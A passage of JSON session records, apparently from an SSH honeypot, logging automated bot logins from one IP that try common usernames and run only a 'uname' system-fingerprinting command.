  "id": "e6063c71-2ec1-4ac8-bbed-6ffc3a977e2f",
  "name": "murky-lanky-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42684,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 335,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:17.100150+00:00",
  "ended_at": "2026-08-27T02:55:20.760505+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "76156313-8725-4454-a052-e75d03cb95b0",
  "name": "hearty-vivid-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47126,
  "username": "app",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 279,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:15.759126+00:00",
  "ended_at": "2026-08-27T02:55:19.623315+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae73a45d-dc7b-439a-b361-9ecb57ac17eb",
  "name": "feathered-jovial-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 47070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 303,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:12.599118+00:00",
  "ended_at": "2026-08-27T02:55:15.908719+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2fabe636-96d9-4cb8-b734-22e4f0fb1ce4",
  "name": "earnest-wry-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53946,
  "username": "lighthouse",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:55:12.419858+00:00",
  "ended_at": "2026-08-27T02:55:16.197196+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "25a2eebb-e264-48b3-aa96-01f1504486a3",
  "name": "downy-marine-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 58250,
  "username": "lighthouse",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 391,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:55:09.229704+00:00",
  "ended_at": "2026-08-27T02:55:16.198115+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "bc8b0b7b-1a55-4177-a61b-059d3dc1c670",
  "name": "ancient-sunlit-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 306,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:50.359335+00:00",
  "ended_at": "2026-08-27T02:54:56.071178+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8e3ea957-d9f0-40df-ae6a-f7bd56aaa334",
  "name": "stoic-jagged-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 50434,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 399,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:49.846487+00:00",
  "ended_at": "2026-08-27T02:54:53.754069+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ebcd0b73-23a1-4621-994b-821f06aa59b0",
  "name": "dewy-jolly-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40800,
  "username": "odoo18",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:43.504997+00:00",
  "ended_at": "2026-08-27T02:54:47.202669+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0c5f3da-b97a-4acd-8d92-be6a69608e25",
  "name": "burly-plucky-osprey",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53754,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 287,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:36.081615+00:00",
  "ended_at": "2026-08-27T02:54:39.227023+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7b817068-23f8-4eee-8fc6-b10d9b199ad9",
  "name": "gleaming-knotted-firefly",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41616,
  "username": "martin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:54:34.442648+00:00",
  "ended_at": "2026-08-27T02:54:37.161407+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06e84c80-f186-41b4-957d-90b0ad5064dc",
  "name": "umber-downy-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53696,
  "username": "developer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:32.123598+00:00",
  "ended_at": "2026-08-27T02:54:36.475323+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "73b98a60-4bbd-404f-b592-f2c2c5499339",
  "name": "wandering-nautical-woodcock",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44204,
  "username": "martin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 424,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:31.244084+00:00",
  "ended_at": "2026-08-27T02:54:37.160442+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "0e3f7a2c-47ab-4e66-a3fc-d50a32ca5825",
  "name": "granite-quaint-porcupine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 42640,
  "username": "t1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:54:26.417007+00:00",
  "ended_at": "2026-08-27T02:54:28.270369+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ced04218-192d-458f-b1cd-c668f25af41c",
  "name": "tawny-nautical-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 44078,
  "username": "t1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 343,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:21.849621+00:00",
  "ended_at": "2026-08-27T02:54:28.271481+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "b50fd477-871a-4e19-a9df-5aa0e2fe2002",
  "name": "grassy-woven-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 47054,
  "username": "sftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:54:15.726997+00:00",
  "ended_at": "2026-08-27T02:54:19.493795+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "85376a51-df34-45d3-8625-c3278aafee68",
  "name": "shaded-jaunty-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43794,
  "username": "sftpuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:11.975080+00:00",
  "ended_at": "2026-08-27T02:54:19.495352+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "ffe590e5-8755-47cc-87cc-d65e1bb8f9e0",
  "name": "sterling-courtly-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 36300,
  "username": "dev",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:54:09.361881+00:00",
  "ended_at": "2026-08-27T02:54:12.418502+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e509f2e6-f10a-4a27-acc0-dfa692722cbd",
  "name": "creaky-fickle-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 53460,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:55.975257+00:00",
  "ended_at": "2026-08-27T02:53:58.840363+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c25ce542-aeed-4b72-b981-d821940d3c68",
  "name": "supple-stoic-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 43682,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:54.434522+00:00",
  "ended_at": "2026-08-27T02:53:58.600246+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cd405267-01a1-4e38-a374-0dc0af03896f",
  "name": "polar-shaded-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45654,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 340,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:43.032636+00:00",
  "ended_at": "2026-08-27T02:53:48.513742+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90803ea9-433d-4455-979f-9b383d6c62aa",
  "name": "jaunty-feathered-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 319,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:34.022857+00:00",
  "ended_at": "2026-08-27T02:53:38.045315+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a96b4832-7bc1-4a02-9779-a2112b945d53",
  "name": "breezy-blazing-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41808,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 294,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:31.981900+00:00",
  "ended_at": "2026-08-27T02:53:37.018238+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2e1dbb7-9156-4237-b844-a2e168b48aec",
  "name": "cunning-vernal-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57720,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 466,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:22.512084+00:00",
  "ended_at": "2026-08-27T02:53:25.691037+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bc8f3858-65a9-447f-b1c0-a3e9a5d23a24",
  "name": "scarlet-gritty-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 57632,
  "username": "user2",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:13.741988+00:00",
  "ended_at": "2026-08-27T02:53:19.225596+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9bdaf3ce-2e88-4b5a-9165-b78fb227aec3",
  "name": "clever-gleaming-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 54376,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 437,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:53:04.161134+00:00",
  "ended_at": "2026-08-27T02:53:08.983693+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "302f36cf-3c69-4335-9148-d1be601f6273",
  "name": "western-pewter-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 53474,
  "username": "gpadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:53:02.720471+00:00",
  "ended_at": "2026-08-27T02:53:07.569000+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f0de8c30-291d-48a1-82ac-27ff219a40ca",
  "name": "nameless-misty-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37786,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 387,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:59.024451+00:00",
  "ended_at": "2026-08-27T02:53:01.995277+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "64747d6d-3225-465a-a2e9-6d52bda884ff",
  "name": "hollow-wiry-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48330,
  "username": "gpadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 242,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:57.774790+00:00",
  "ended_at": "2026-08-27T02:53:07.569808+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "527f1b34-a9eb-456d-b6f9-b46867b63bcb",
  "name": "grumpy-blithe-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 376,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:54.658713+00:00",
  "ended_at": "2026-08-27T02:52:58.776765+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a305089a-32ff-4093-82fa-3def122abc22",
  "name": "golden-ashen-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40298,
  "username": "sysupdate",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:45.886086+00:00",
  "ended_at": "2026-08-27T02:52:49.555618+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "52eafcca-db0b-452a-af46-b231e3123aee",
  "name": "creaky-pleasant-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48232,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 290,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:39.974542+00:00",
  "ended_at": "2026-08-27T02:52:45.651050+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5b45b0c5-89d3-4100-a9f8-dd324e3f31f1",
  "name": "dappled-lucid-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 41800,
  "username": "angel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:52:38.657376+00:00",
  "ended_at": "2026-08-27T02:52:41.356752+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64c78e7b-dccf-4e3a-abb4-4549ce25ae79",
  "name": "mighty-distant-magpie",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49924,
  "username": "angel",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:35.278881+00:00",
  "ended_at": "2026-08-27T02:52:41.355514+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "69e37c31-295e-4672-8e1e-cf56b34dc16a",
  "name": "northern-thrifty-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 57684,
  "username": "webmaster",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:52:31.264485+00:00",
  "ended_at": "2026-08-27T02:52:33.745191+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a3fa15f3-7570-47bc-9e15-dc380b9212f1",
  "name": "blunt-obsidian-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 48310,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 257,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:30.882288+00:00",
  "ended_at": "2026-08-27T02:52:35.027836+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e977c846-687e-44c9-8220-06dbb42da808",
  "name": "tranquil-fabled-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37606,
  "username": "webmaster",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:24.739253+00:00",
  "ended_at": "2026-08-27T02:52:33.743829+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "d30f45b8-e28b-4190-a8f1-a0f43d2a6655",
  "name": "eager-ruddy-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 49800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:19.980100+00:00",
  "ended_at": "2026-08-27T02:52:24.972594+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ac1dde6f-e75b-4c59-a959-514a6fb7df87",
  "name": "smooth-ivory-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 37530,
  "username": "postgres",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 332,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:10.012823+00:00",
  "ended_at": "2026-08-27T02:52:13.567948+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "260d146c-1933-4c3f-aa0c-672e0d722fea",
  "name": "sandy-burly-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45782,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:52:02.306937+00:00",
  "ended_at": "2026-08-27T02:52:05.603219+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5644ec97-d882-448a-9216-17798f8aba51",
  "name": "distant-regal-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33588,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:51.091157+00:00",
  "ended_at": "2026-08-27T02:51:56.786050+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6d09ba17-a425-4d7c-90b3-923d5ae3d02c",
  "name": "oaken-grumpy-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45198,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 366,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:44.246219+00:00",
  "ended_at": "2026-08-27T02:51:48.358097+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "625fef39-7678-4982-8752-9489e3478a6e",
  "name": "stoic-genial-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 45158,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:38.499892+00:00",
  "ended_at": "2026-08-27T02:51:42.471840+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b899edda-fb7f-44d0-b660-dc52366c327f",
  "name": "steady-lunar-reindeer",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 48238,
  "username": "azureuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:51:35.925348+00:00",
  "ended_at": "2026-08-27T02:51:38.324269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "36c35862-d78e-4f7d-82fb-d56629bee60c",
  "name": "bitter-merry-puffin",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "69.30.76.155",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.3",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:51:35.559703+00:00",
  "ended_at": "2026-08-27T03:07:06.412030+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ed74de36-0ef0-44b8-8571-97c44e3b2ab7",
  "name": "noble-twilight-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40536,
  "username": "azureuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:29.252320+00:00",
  "ended_at": "2026-08-27T02:51:38.325901+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "87174f21-1fa4-4a7a-a8b6-5ee2240dd0e5",
  "name": "spirited-wistful-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 60178,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 285,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:29.160810+00:00",
  "ended_at": "2026-08-27T02:51:32.714298+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f9d9b1df-1903-4ffa-9314-f9d547cb4bad",
  "name": "freckled-prickly-weasel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 40510,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:17.063512+00:00",
  "ended_at": "2026-08-27T02:51:20.782229+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bb048cb8-2bc5-4117-b90f-617cba5582fe",
  "name": "misty-dewy-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51202,
  "username": "tom",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 328,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:09.132389+00:00",
  "ended_at": "2026-08-27T02:51:14.204310+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "930c1867-3c95-425b-a39b-913cd85ffa52",
  "name": "sandy-shifting-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 33592,
  "username": "devops",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-27T02:51:05.342896+00:00",
  "ended_at": "2026-08-27T02:51:10.067509+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2a301500-cb6b-477b-ba13-507b43ad48cb",
  "name": "lunar-lawful-moorhen",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.217",
  "src_port": 33600,
  "username": "appuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T02:51:00.979448+00:00",
  "ended_at": "2026-08-27T02:51:03.340262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
